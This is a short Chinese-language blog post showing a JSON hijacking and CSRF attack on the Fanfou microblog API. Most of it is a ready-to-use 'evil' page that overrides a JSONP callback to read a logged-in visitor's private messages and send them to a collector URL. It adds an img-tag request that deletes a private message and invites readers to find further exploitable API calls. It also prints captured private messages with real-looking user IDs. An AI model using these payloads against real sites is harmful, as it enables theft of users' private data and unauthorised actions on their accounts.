JSON Hijacking的利用

JSON Hijacking有什麼作用,正如黑哥所說,可以CSRF得到用戶隱私數據:)。
原理最後介紹,先來看個攻擊例子,拿飯否來做個實驗。首先我們看這:<a href="http://help.fanfou.com/api.html" target="_blank">http://help.fanfou.com/api.html</a>。飯否的API。其中:
顯示用戶收到的私信
<b>路徑:</b> http://api.fanfou.com/private_messages/inbox.[json|xml]
<b>參數:</b>
[(可選) - 私信數,範圍 1-20,默認爲 20。
示例: http://api.fanfou.com/private_messages/inbox.xml?count=10
(可選) - JavaScript 函數名,使用 JSON 格式時可用,將 JSON 對象作爲參數直接調用。
示例: http://api.fanfou.com/private_messages/inbox.xml?callback=getStatuses
我們使用JSON格式的返回數據,並且callback函數可以自定義。然後我們自定義一個evil頁面:
<script>
function getStatuses(o){
var i=0;
var data = '';
for(i; i<3; i++){
   //alert(o[i].text);
   data += o[i].sender_id
}
alert(data);
new Image().src="http://127.0.0.1/JSONHiJack.asp?hi="+escape(data);
}
</script>
<script src=http://api.fanfou.com/private_messages/inbox.json?callback=getStatuses&count=3></script>


當登錄飯否的用戶訪問這個evil頁面時,他的私信隱私將暴露無疑。第一個<script>標籤內的腳本是我們自定義的HiJacking函數,第二個<script>標籤加載遠程JS。數據如下:

getStatuses([{"id":585904,"text":"最近怎麼沒聲了?","sender_id":"Salina_Wu","recipient_id":"ycosxhack","created_at":"Sat May 31 05:00:01 +0000 2008","sender_screen_name":"LOLO","recipient_screen_name":"餘弦"},{"id":444619,"text":"'';!--/"<XSS>=&{()}","sender_id":"xssis","recipient_id":"ycosxhack","created_at":"Fri Apr 11 16:07:19 +0000 2008","sender_screen_name":"xssis","recipient_screen_name":"餘弦"},{"id":351757,"text":"嘎~加你好友了~","sender_id":"Salina_Wu","recipient_id":"ycosxhack","created_at":"Sat Mar 01 03:27:22 +0000 2008","sender_screen_name":"LOLO","recipient_screen_name":"餘弦"}])

由於getStatuses函數被我們預先劫持而定義,於是第二個<script>標籤內的遠程JS文件就會執行這個getStatuses函數,參數就是上面這個JSON數據。

這是一個CSRF過程。然而飯否API所帶來的安全威脅就不僅僅是JSON Hijacking的利用了。大家仔細閱讀它的API文檔。看看是否還有其他可利用的地方?比如:
<img src=http://api.fanfou.com/private_messages/destroy.json?callback=getStatuses&id=246333 />
呵呵,這API真是個好東西。不僅僅飯否,其他類似的開放API的服務也會存在這樣的威脅。

發佈了0 篇原創文章 · 獲贊 0 · 訪問量 1萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章